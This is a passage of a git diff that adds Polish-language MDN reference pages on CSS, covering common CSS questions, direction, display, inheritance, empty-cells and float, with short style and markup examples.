<code>id</code> i/lub <code>class</code>. +</p><p>Używaj styli zależnych od <code>id</code>, gdy chcesz ograniczyć ich działanie do konkretnego bloku lub elementu. Dla przykładu - dobrym miejscem na użycie atrybutu <code>id</code> jest blok, w którym umieszczamy menu, ponieważ występuje on tylko raz na stronie. +</p><p>Używaj atrybutu <code>class</code>, gdy chcesz aby ten sam styl był stosowany do grupy elementów. +</p><p>Zobacz <a href="pl/CSS/Na_pocz%c4%85tek/Selektory">Selektory CSS</a> +</p> +<h4 id="Przywracanie_domy.C5.9Blnej_warto.C5.9Bci_w.C5.82asno.C5.9Bci" name="Przywracanie_domy.C5.9Blnej_warto.C5.9Bci_w.C5.82asno.C5.9Bci"> Przywracanie domyślnej wartości własności </h4> +<p>W CSS2 nie ma możliwości ustawienia standardowej wartości dla własności CSS. Jedyna droga, aby przywrócić standardową wartość, to przedeklarowanie (musisz znać standardową wartość, ponieważ CSS nie posiada słowa kluczowego <i>default</i>) +</p><p>Musisz zachować szczególną ostrożność pisząc reguły stylów, gdy używasz selektorów (np. selektorów po nazwie znacznika jak na przykład <code>p</code>), które możesz chcieć nadpisać bardziej szczegółowymi regułami (jak te przy użyciu ID lub selektorów klas), ponieważ oryginalna standardowa wartość nie może być automatycznie odzyskana. +</p><p>Z powodu <i>kaskadowej</i> natury CSS dobrą praktyką jest definiowanie reguł stylów najszczegółowiej jak się tylko da, żeby wpływały tylko na to, co chcesz. +</p> +<h4 id="Style_pochodne" name="Style_pochodne"> Style pochodne </h4> +<p>CSS nie pozwala na definiowanie stylów w regułach innego, głównie z powodu <i><b>user agents performance issues</b></i> (<a class="external" href="http://archivist.incutio.com/viewlist/css-discuss/2685">Eric Meyer words about it</a>). +</p><p>W każdym razie, dobrze zorganizowany dokument HTML nie potrzebuje <i>zagnieżdżonych stylów</i>, dzięki <i>kaskadowej</i> naturze stylów. W rzeczywistości, jeśli potrzebujesz dokonać drobnej zmiany konkretnej reguły, stwórz oddzielną regułę zawierającą tylko zmiany. W <a href="pl/HTML">HTML</a>-u zastosuj główną regułę, a potem tą ze zmianami (patrz następna sekcja na temat przydzielania kilku klas). +</p> +<h4 id="Przydzielanie_kilku_klas" name="Przydzielanie_kilku_klas"> Przydzielanie kilku klas </h4> +<p>Elementy HTML-a mogą być opisane przez kilka klas. Robi się to wymieniając nazwy kolejnych klas w atrybucie <code>class</code>, oddzielając kolejne nazwy spacjami. +</p> +<pre><style type="text/css"> +.firstclass { background: black; color: white; } +.secondclass { font-weight: bold; } +</style> + +<div class="firstclass secondclass"> +... treść ... +... treść ... +... treść ... +</div> +</pre> +<p>Jeśli ta sama własność jest zadeklarowana w dwóch regułach, to konflikt rozwiązywany jest najpierw poprzez ich specyfikę, a później kolejność w arkuszu stylów. Kolejność klas w atrybucie <code>class</code> jest nieistotna. +</p> +<h4 id="W.C5.82asno.C5.9Bci_styl.C3.B3w.2C_kt.C3.B3re_nie_dzia.C5.82aj.C4.85" name="W.C5.82asno.C5.9Bci_styl.C3.B3w.2C_kt.C3.B3re_nie_dzia.C5.82aj.C4.85"> Własności stylów, które nie działają </h4> +<p>Często się zdarza, że poprawnie zdefiniowane style są ignorowane. Nie wynika to ani z błędu przeglądarki, ani z błędnej składni w CSS. Zwykle jest to zachowanie jak najbardziej prawidłowe, wynikające bezpośrednio ze składni i kolejności intepretacji reguł CSS. +</p><p>Najczęstsze powody ignorowania niektórych styli to: +</p> +<ul><li> hierarchia elementów HTML'a +</li><li> <i><b>jawnie</b></i> przedefiniowane reguły stylów +</li><li> <i><b>użycie skróconej formy właściwości</b></i> +</li><li> używanie selektora: <code>*</code> +</li><li> kolejność interpretacji reguł CSS +</li></ul> +<p>Aby zlokalizować omówiony powyżej problem narzędziem zwanym " Inspektor DOM", w którym będziemy mogli zobaczyć jego lokalizację. +</p><p><b>Hierarchia elementów HTML-a</b> +</p><p>Sposób, w jaki style CSS są stosowane do elementów HTML, zależy od hierarchii samych elementów HTML. Ważne jest, aby to zapamiętać, ponieważ reguła potomka jest zawsze ważniejsza od reguły elementu nadrzędnego. +</p> +<pre>#section { font-weight: bold; } +.redtext { font-weight: normal; color: red; } + +<div id="section"> + To jest pogrubiony tekst + <span class="redtext"> ten ma normalną grubość, lecz jest czerwony,</span> + i znów pogrubiony +</div> +</pre> +<p>Wydaje się to dość oczywiste, gdyż wynika z prostoty kaskadowych arkuszy stylów. Gdy w przypadku skomplikowanych hierarchii HTML jakaś reguła wydaje sie być ignorowana, najpierw sprawdź, czy podejrzany element nie jest wewnątrz innego ze zdefiniowanym innym stylem. +</p><p><br> +<b>Przedefiniowywanie reguł stylów</b> +</p><p>W arkuszach stylów kolejność <b>jest</b> istotna. W praktyce, jeśli zdefiniujesz regułę, a następnie zmienisz tą definicję w dalszej części arkusza stylów to użyta będzie ostatnia definicja. +</p> +<pre>#sekcja { font-weight: bold; } +.czerwony_tekst { color: red; } +/* inne reguły */ +/* inne reguły */ +/* inne reguły */ +.czerwony_tekst { font-weight: normal; } + +<div id="sekcja"> + Ten tekst jest pogrubiony, + <span class="redtext"> ten jest normalny i czerwony,</span> + a ten znów pogrubiony. +</div> +</pre> +<p>Aby uniknąć tego typu błędów, spróbuj definiować reguły tylko raz dla konkretnego selektora i należącej do niego grupy reguł. +</p><p><br> +<b>Używanie skrótów własności</b> +</p><p>Używanie skrótów własności do definiowania reguł stylów jest dobre, ponieważ używa zwięzłej składni. Używanie ~shorthand~ tylko z niektórymi atrybutami jest możliwe i poprawne, ale trzeba pamiętać, że niezadeklarowane atrybuty są automatycznie resetowane do wartości standardowych. Oznacza to, że poprzednia reguła dla pojedynczego atrybutu może być bezwarunkowo nadpisana. +</p> +<pre>#sekcja { font-size: 12px; font-family: Verdana; font-weight: bold; } +.czerwony_tekst { font: 14px Arial; color: red; } + +<div id="sekcja"> + To jest pogrubiona 12-o pikselowa Verdana, + <span class="czerwony_tekst">to jest normalny 14-o pikselowy, czerwony Arial,</span> + i znów 12-o pikselowa Verdana +</div> +</pre> +<p>W poprzednim przykładnie problem w regułach należących do różnych elementów, ale to samo może się zdarzyć dla tego samego elementu, ponieważ kolejność reguł <b>jest</b> istotna. +</p> +<pre>#sekcja { + font-weight: bold; + font: 12px Verdana; /* skrót nadpisuje pogrubienie i zwraca normalny */ +} +</pre> +<p><br> +<b>Używanie selektora: <code>*</code></b> +</p><p>Selektor gwiazdki (<code>*</code>) pozwala na odniesienie się do dowolnego elementu i powinien być używany ze szczególną ostrożnością, ponieważ może być trudne kontrolowanie elementów, do których reguły są dodawane. +</p> +<pre>body * { font-weight: normal; } +#sekcja { font: 12px Verdana; } +.pogrubiony_tekst { font-weight: bold; } +.czerwony_tekst { color: red; } + +<div id="sekcja"> + Ten jest normalny, + <span class="pogrubiony_tekst"> + <span class="czerwony_tekst"> ten jest normalny i czerwony,</span> + </span> + i znów normalny. +</div> +</pre> +<p>W tym przykładzie <code>body *</code> pozwala na zastosowanie reguł do wszystkich elementów wewnątrz body, na każdym poziomie hierarchii - także do <i>czerwony_tekst</i>. Tak więc <code>font-weight: bold;</code> zastosowany do klasy <i>pogrubiony_tekst</i> jest nadpisane przez <code>font-weight: normal;</code> klasy <i>czerwony_tekst</i>. +</p><p><b>Starszeństwo w CSS</b> +</p><p>Gdy stosowane są różne reguły dla konkretnego elementu to która z nich zostanie zastosowana zależy od starszeństwa stylów. Style inline (liniowe, takie jak span) są interpretowane na początku, potem te oparte na identyfikatorze (<code>id</code>), następnie klasie (<code>class</code>) i ewentualnie znajdujące się wewnątrz elementu (<code>style=""</code>). +</p><p><br> +</p> +<pre>div { color: black; } +#pomaranczowy { color: orange; } +.zielony { color: green; } + +<div id="pomaranczowy" class="zielony" style="color: red;">To jest czerwony tekst</div> +</pre> +<p>Więcej informacji na temat działania selektorów można znaleźć w sieci → <a class="external" href="http://www.w3.org/TR/CSS21/cascade.html#specificity">CSS 2.1 Specification chapter 6.4.3</a> +</p> +<h4 id="Co_wykonuje_w.C5.82asno.C5.9B.C4.87_-moz-.2A.3F" name="Co_wykonuje_w.C5.82asno.C5.9B.C4.87_-moz-.2A.3F"> Co wykonuje własność -moz-*? </h4> +<p>Zobacz: <a href="pl/Rozszerzenia_CSS_Mozilli">Rozszerzenia CSS Mozilli</a>. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Common_CSS_Questions", "zh-tw": "zh_tw/CSS_\u4e00\u822c\u554f\u984c" } ) }} diff --git a/files/pl/web/css/direction/index.html b/files/pl/web/css/direction/index.html new file mode 100644 index 0000000000..cc214c0395 --- /dev/null +++ b/files/pl/web/css/direction/index.html @@ -0,0 +1,50 @@ +--- +title: direction +slug: Web/CSS/direction +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/direction +--- +<p> {{ CSSRef() }} +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Własność <code>direction</code> powinna być ustawiana w celu dobrania kierunku tekstu: <code>rtl</code> dla hebrajskiego lub arabskiego tekstu oraz <code>ltr</code> dla innych pism. Normalnie powinno być to robione raczej jako cześć dokumentu (np. poprzez użycie atrybutu <code>dir</code> w HTML) niż poprzez bezpośrednie użycie CSS. +</p><p>Własność ustawia bazowy kierunek tekstu elementów blokowych oraz kierunek osadzonych utworzonych przez własność {{ Cssxref("unicode-bidi") }}. Ustawia również domyślne wyrównanie tekstu i elementów blokowych oraz kierunek, w jakim komórki następują w wierszu tabeli. +</p> +<ul><li> {{ Xref_cssinitial() }}: {{ Cssxref("ltr") }} +</li><li> Stosowana do: wszystkich elementów +</li><li> {{ Xref_cssinherited() }}: tak +</li><li> Procenty: niedostępne +</li><li> Media: {{ Xref_cssvisual() }} +</li><li> {{ Xref_csscomputed() }}: +</li></ul> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">direction: [ 'ltr' | 'rtl' | inherit ] ; +</pre> +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci"> Wartości </h3> +<dl><dt> ltr </dt><dd> Domyślna wartość <code>direction</code>. Tekst i inne elementy idą od lewej do prawej, +</dd><dt> rtl </dt><dd> Tekst i inne elementy idą od prawej do lewej. +</dd></dl> +<p>Aby własność <code>direction</code> miała jakiś efekt w elementach inline, wartością własności {{ Cssxref("unicode-bidi") }} musi być 'embed' lub 'override'. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<pre class="eval">blockquote { + direction : rtl ; +} +</pre> +<h3 id="Notatki" name="Notatki"> Notatki </h3> +<p>W odróżnieniu od atrybutu <code>dir</code> w HTML, własność <code>direction</code> nie jest dziedziczona od kolumn tabeli do komórek tabeli, ponieważ dziedziczenie CSS spływa po drzewie dokumentu, a komórki tabeli są wewnątrz wierszy, ale nie wewnątrz kolumn. +</p> +<h3 id="Specyfikacje" name="Specyfikacje"> Specyfikacje </h3> +<ul><li> <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#direction">CSS 2.1</a> +</li><li> <a class="external" href="http://www.w3.org/TR/2003/CR-css3-text-20030514/#direction">CSS 3 Text Module</a> +</li></ul> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p>{{ Cssxref("unicode-bidi") }} +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/CSS/direction", "es": "es/CSS/direction", "fr": "fr/CSS/direction" } ) }} diff --git a/files/pl/web/css/display/index.html b/files/pl/web/css/display/index.html new file mode 100644 index 0000000000..1c85584a65 --- /dev/null +++ b/files/pl/web/css/display/index.html @@ -0,0 +1,168 @@ +--- +title: display +slug: Web/CSS/display +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/display +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Ta własność określa typ wyświetlania pudełka używanego dla elementu. W języku takim jak HTML, gdzie istniejące elementy mają dobrze określone zachowanie, domyślne wartości własności 'display' są brane z zachowań opisanych w specyfikacji HTML lub z domyślnego arkusza stylu przeglądarki/użytkownika. W językach, gdzie zachowanie 'display' nie jest zdefiniowane (jak XML), domyślną wartością jest 'inline'.</p> + +<p>Oprócz wielu różnych dozwolonych typów wyświetlania pudełka, jedna wartość, "none", pozwala wyłączyć wyświetlanie elementu; wszystkie elementy potomne również mają wyłączone wyświetlanie. Dokument jest wyświetlany jak gdyby element nie istniał w drzewie dokumentu. Ta wartość daje potężne możliwości, ale powinna być używana z ostrożnością.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: {{ Cssxref("inline") }}</li> + <li>{{ Xref_cssinherited() }}: wszystkich elementów</li> + <li>Dziedziczona: nie</li> + <li>Procenty: niedostępne</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}: jako określone, z wyjątkiem elementu głównego, elementów <a href="pl/CSS/float">pływających</a> i elementów <a href="pl/CSS/position">pozycjonowanych absolutnie</a>.</li> +</ul> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<p><code>display:</code> <display-value> | {{ Cssxref("inherit") }}</p> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt><display-value> </dt> + <dd>Wartością 'display' może być jedna z poniższych wartości.</dd> +</dl> + +<ul> + <li><strong>inherit</strong> : Wyraźnie ustawia wartość tej własności na odpowiadającą rodzicowi.</li> +</ul> + +<ul> + <li><strong>none</strong> : Ta wartość wyłącza wyświetlanie elementu (nie ma efektu w układzie); wszystkie elementy potomne również mają bezwarunkowo wyłączone wyświetlanie. Dokument jest wyświetlany tak jakby element nie istniał w drzewie dokumentu. Aby wyświetlić rozmiary pudełka elementu w schemacie formatowania dokumentu, gdy jego zawartość powinna być niewidoczna, zobacz własność 'visibility'.</li> +</ul> + +<ul> + <li><strong>inline</strong> : Sprawia, że element generuje jedno lub więcej pudełek elementu liniowego.</li> +</ul> + +<ul> + <li><strong>block</strong> : Sprawia, że element generuje pudełko elementu blokowego.</li> +</ul> + +<ul> + <li><strong>inline-block</strong> : Wprowadzone w CSS2.1. Sprawia, że element generuje pudełko elementu blokowego, które będzie opływane otaczającą treścią, jakby było pojedynczym pudełkiem liniowym (zachowując się tak, jakby zachowywał się zamieniany element). {{ Fx_minversion_inline(3) }}</li> +</ul> + +<ul> + <li><strong>list-item</strong> : Sprawia, że element generuje pudełko blokowe dla zawartości oraz oddzielne pudełko liniowe pozycji listy.</li> +</ul> + +<ul> + <li><strong>compact</strong> : Zależnie od kontekstu ta wartość własności 'display' tworzy albo blokowe albo liniowe pudełko. W każdym przypadku odmienne własności CSS mogą stosować się do elementu 'compact'. W kontekście elementu blokowego element 'compact' jest wyświetlany w lewym lub prawym marginesie elementu blokowego. Element 'compact' bierze udział w wyliczaniu wysokości linii dla danej linii, a wartość własności 'vertical-align' jest relatywna do elementu blokowego.</li> +</ul> + +<ul> + <li><strong>run-in</strong> : Zależnie od kontekstu ta wartość własności 'display' tworzy albo liniowe albo blokowe pudełko. W każdym przypadku odmienne własności CSS mogą stosować się do elementu 'run-in'. Własności elementu 'run-in' są dziedziczone z jego rodzica w drzewie dokumentu, nie z pudełka elementu blokowego, w którym jest zawarty.</li> +</ul> + +<ul> + <li><strong>table-header-group|table-footer-group</strong> : Te wartości sprawiają, że element zachowuje się jak odpowiadający mu element HTML THEAD i TFOOT, od którego wartości wzięły swoją nazwę.</li> +</ul> + +<ul> + <li><strong>table</strong> : Te wartości sprawiają, że element zachowuje się jak odpowiadający element tabeli HTML, od którego te wartości wzięły nazwę. Wartość ta jest odpowiednikiem elementu <code>table</code> w HTML.</li> +</ul> + +<ul> + <li><strong>inline-table</strong> : Te wartości sprawiają, że element zachowuje się jak odpowiadający element tabeli HTML, od którego te wartości wzięły nazwę. Wartość 'inline-table' nie ma dokładnego odwzorowania w HTML. {{ Fx_minversion_inline(3) }}</li> +</ul> + +<ul> + <li><strong>table-caption</strong> : Te wartości sprawiają, że element zachowuje się jak odpowiadający element tabeli HTML, od którego te wartości wzięły nazwę. Wartość 'inline-table' nie ma dokładnego odwzorowania w HTML.</li> +</ul> + +<ul> + <li><strong>table-cell</strong> : Te wartości sprawiają, że element zachowuje się jak odpowiadający element tabeli HTML, od którego te wartości wzięły nazwę. Wartość 'inline-table' nie ma dokładnego odwzorowania w HTML.</li> +</ul> + +<ul> + <li><strong>table-row|table-row-group</strong> : Te wartości sprawiają, że element zachowuje się jak odpowiadający element tabeli HTML, od którego te wartości wzięły nazwę. Wartość 'inline-table' nie ma dokładnego odwzorowania w HTML.</li> +</ul> + +<ul> + <li><strong>table-column|table-column-group</strong> : Te wartości sprawiają, że element zachowuje się jak odpowiadający element tabeli HTML, od którego te wartości wzięły nazwę. Wartość 'inline-table' nie ma dokładnego odwzorowania w HTML.</li> +</ul> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<p><a href="/samples/cssref/display.html">Zobacz przykład</a></p> + +<pre>Ext/Doc: p { display: block } +In-Line: <p STYLE="display: block">text</p> +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<ul> + <li>Zgodność z CSS1: przeglądarki mogą legalnie ignorować własność 'display' i zamiast tego używać domyślnych ustawień przeglądarki dla każdego elementu.</li> + <li>W CSS1 domyślną wartością dla tej własności było "block". W CSS2 zostało to zmienione na "inline".</li> +</ul> + +<h5 id="Elementy_blokowe_kontra_elementy_liniowe" name="Elementy_blokowe_kontra_elementy_liniowe">Elementy blokowe kontra elementy liniowe</h5> + +<ul> + <li><strong>Elementy blokowe</strong> tworzą odrębne w pionie bloki zawartości (w kontekście wizualnym) - generalnie używając przełamania linii przed zawartością i po niej. Tylko ta wartość dla 'display' jest dopuszczalna do tworzenia elementu pozycjonowanego. Zachowanie blokowe jest pokazywane przez takie elementy HTML jak BLOCKQUOTE (cytaty blokowe), DIV oraz nagłówki. Wartości własności 'display', tworzące blokowy typ elementu, to: 'block', 'list-item', 'table, 'compact' oraz 'run-in'.</li> +</ul> + +<ul> + <li><strong>Elementy liniowe</strong> nie tworzą wyraźnych bloków zawartości, zawartość elementu jest wyświetlana przy użyciu pudełka liniowego (zawartość jest rozmieszczana linia po linii wewnątrz zawierającego ją fizycznego lub wirtualnego elementu blokowego). Zachowanie liniowe jest pokazywane przez takie elementy HTML, jak fizyczne i wirtualne formatowanie znaków, nieopływane obrazki i nieobjęta znacznikami zawartość. Wartości własności 'display', tworzące liniowy typ elementu, to: 'inline', 'inline-table', 'compact' oraz 'run-in'.</li> +</ul> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#display">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-display">CSS 2.1</a></li> +</ul> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th>Browser</th> + <th>Lowest Version</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>4</td> + </tr> + <tr> + <td>Netscape</td> + <td>4</td> + </tr> + <tr> + <td>Opera</td> + <td>3.5</td> + </tr> + </tbody> +</table> + +<p>Wartości <code>table-</code>* są wspierane w Firefoksie i ???.</p> + +<p>Wartości <code>compact</code> oraz <code>run-in</code> nie są wspierane w Firefoksie. Wspierane są w ???.</p> + +<p>Wartości <code>inline-block</code> oraz <code>inline-table</code> są wstępnie wspierane w Firefoksie 3 / Gecko 1.9. <code>inline-block</code> jest również wspierane w ???, a <code>inline-table</code> jest również wspieranie w ???.</p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref("visibility") }}, {{ Cssxref("float") }}, {{ Cssxref("position") }}</p> + +<p> </p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/CSS/display", "es": "es/CSS/display", "fr": "fr/CSS/display", "pt": "pt/CSS/display", "zh-cn": "cn/CSS/display" } ) }}</p> diff --git a/files/pl/web/css/dziedziczenie/index.html b/files/pl/web/css/dziedziczenie/index.html new file mode 100644 index 0000000000..e8049231f1 --- /dev/null +++ b/files/pl/web/css/dziedziczenie/index.html @@ -0,0 +1,50 @@ +--- +title: Dziedziczenie +slug: Web/CSS/Dziedziczenie +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/inheritance +--- +<p> +{{ CSSRef() }} +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie</h3> +<p>Podsumowanie każdej <a href="pl/Dokumentacja_CSS">definicji własności CSS</a> zawiera informację, czy dana własność jest dziedziczona domyślnie ("Dziedziczona: tak"), czy też nie ("Dziedziczona: nie"). Umożliwia to kontrolę nad tym, co się dzieje, gdy nie została określona żadna wartość własności elementu. +</p> +<h3 id="W.C5.82asno.C5.9Bci_dziedziczone" name="W.C5.82asno.C5.9Bci_dziedziczone"> Własności dziedziczone </h3> +<p>Gdy nie została określona wartość <b>własności dziedziczonej</b> elementu, element otrzymuje <a href="pl/CSS/Warto%c5%9b%c4%87_wyliczona">wartość wyliczoną</a> własności elementu-rodzica. Tylko element główny dokumentu otrzymuje <a href="pl/CSS/Warto%c5%9b%c4%87_pocz%c4%85tkowa">wartość początkową</a> podaną w podsumowaniu własności. +</p><p>Typowym przykładem własności dziedziczonej jest własność {{ Cssxref("color") }}. Mając następujące reguły stylu: +</p> +<pre class="eval"> p { color: green } +</pre> +<p>i znaczniki +</p> +<pre class="eval"> <p>Ten akapit zawiera <em>wyróżniony tekst</em> wewnątrz.</p> +</pre> +<p>wyrażenie "wyróżniony tekst" będzie miało kolor zielony, ponieważ element <code>em</code> odziedziczył wartość własności {{ Cssxref("color") }} po elemencie <code>p</code>. <i>Nie</i> otrzymuje on początkowej wartości własności (którą jest kolor użyty w elemencie głównym, gdy nie został określony dla strony żaden kolor). +</p> +<h3 id="W.C5.82asno.C5.9Bci_niedziedziczone" name="W.C5.82asno.C5.9Bci_niedziedziczone"> Własności niedziedziczone </h3> +<p>Gdy nie została określona wartość <b>własności niedziedziczonej</b> (czasami nazywanej <b>własnością reset</b> w kodzie Mozilli) elementu, element otrzymuje <a href="pl/CSS/Warto%c5%9b%c4%87_pocz%c4%85tkowa">wartość początkową</a> tej własności (jak podano w podsumowaniu własności). +</p><p>Typowym przykładem własności niedziedziczonej jest własność {{ Cssxref("border") }}. Mając następujące reguły stylu: +</p> +<pre class="eval"> p { border: medium solid } +</pre> +<p>i znaczniki +</p> +<pre class="eval"> <p>Ten akapit zawiera <em>wyróżniony tekst</em> wewnątrz.</p> +</pre> +<p>wyrażenie "wyróżniony tekst" nie będzie posiadało ramki (ponieważ wartość początkowa własności {{ Cssxref("border-style") }} to <code>none</code>). +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<p>Słowo kluczowe {{ Cssxref("inherit") }} pozwala na bezpośrednie określenie dziedziczenia. Działa ono zarówno na własnościach dziedziczonych jak i niedziedziczonych. +</p> +<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC"> Zobacz również </h3> +<p>{{ Cssxref("inherit") }}, <a href="pl/CSS/Warto%c5%9b%c4%87_pocz%c4%85tkowa">wartość początkowa</a> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/CSS/inheritance", "es": "es/CSS/inheritance", "fr": "fr/CSS/H\u00e9ritage", "ja": "ja/CSS/inheritance" } ) }} diff --git a/files/pl/web/css/empty-cells/index.html b/files/pl/web/css/empty-cells/index.html new file mode 100644 index 0000000000..7c203acf00 --- /dev/null +++ b/files/pl/web/css/empty-cells/index.html @@ -0,0 +1,77 @@ +--- +title: empty-cells +slug: Web/CSS/empty-cells +tags: + - CSS + - Dokumentacje +translation_of: Web/CSS/empty-cells +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność CSS <strong>empty-cells</strong> określa, jak program powinien wyświetlać obramowania i tła wokół komórek, które nie mają widocznej zawartości.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">empty-cells: show | hide | inherit + +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>{{ Cssxref("inherit") }}</dt> + <dt><code>show</code></dt> + <dd>obramowania i tła powinny być wyświetlane jak normalne komórki</dd> + <dt><code>hide</code></dt> + <dd>obramowania i tła nie powinny być wyświetlane</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre class="eval">.contentbox td { + empty-cells: show; +} +</pre> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS21/tables.html#empty-cells">W3C Cascading Style Sheets, level 2 revision 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/REC-CSS2/tables.html#empty-cells">W3C Cascading Style Sheets, level 2</a></li> + <li><a class="external" href="http://www.w3.org/Style/CSS/current-work#tables">W3C Cascading Style Sheets, level 3</a></li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>?</td> + </tr> + <tr> + <td>Firefox</td> + <td>?</td> + </tr> + <tr> + <td>Netscape</td> + <td>?</td> + </tr> + <tr> + <td>Opera</td> + <td>?</td> + </tr> + <tr> + <td>Safari</td> + <td>?</td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/css/float/index.html b/files/pl/web/css/float/index.html new file mode 100644 index 0000000000..0c8a73f00d --- /dev/null +++ b/files/pl/web/css/float/index.html @@ -0,0 +1,116 @@ +--- +title: float +slug: Web/CSS/float +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/float +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Własność <strong>float</strong> określa, że element powinien być wyjęty z normalnego przepływu i umieszczony przy lewej lub prawej stronie zawierającego go kontenera, zaś tekst i elementy liniowe będą zawijały się wokół niego.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: {{ Cssxref("none") }}</li> + <li>Stosowana do: wszystkich elementów</li> + <li>{{ Xref_cssinherited() }}: no</li> + <li>Procenty:</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}: jako określone</li> +</ul> + +<p><strong>Element pływający</strong> jest jedynym, gdzie <a href="pl/CSS/warto%c5%9b%c4%87_wyliczona">wartość wyliczona</a> <code>float</code> <strong>nie</strong> jest równa <code>none</code>.</p> + +<p>Zauważ, że, jeśli odwołujesz się do tej wartości z JavaScript jako elementu obiektu <a href="pl/DOM/element.style">element.style</a>, musisz oznaczyć to <strong>cssFloat</strong> (zobacz listę na <a href="pl/DOM/CSS">DOM:CSS</a>). Zwróć też uwagę, że IE nazywa to <strong>styleFloat</strong>.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<p>float: left | right | none | <a href="pl/CSS/inherit">inherit</a></p> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<ul> + <li><strong>left</strong> : Element pływa po lewej stronie zawierającego go bloku.</li> + <li><strong>right</strong> : Element pływa po prawej stronie zawierającego go bloku.</li> + <li><strong>none</strong> : Element nie pływa.</li> +</ul> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<p><a href="/samples/cssref/float.html">Zobacz przykład</a></p> + +<pre><html> + <head> + <style type="text/css"> + b + { + font-size: 25px; + float:right; + } + </style> + </head> + <body> + + <p> + <b>HELLO!</b> + To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst. + To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst. + To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst. + To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst. + To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst. + To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst. + To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst. + To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst. + To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst. + To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst. + </p> + +</body> +</html> +</pre> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<p>TODO: Notatka powinna wyjaśniać, jak elementy pływające są pozycjonowane. Wzmianka o <a href="pl/CSS/block_formatting_context">block formatting context</a>.</p> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#float">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-float">CSS 2.1</a></li> +</ul> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" 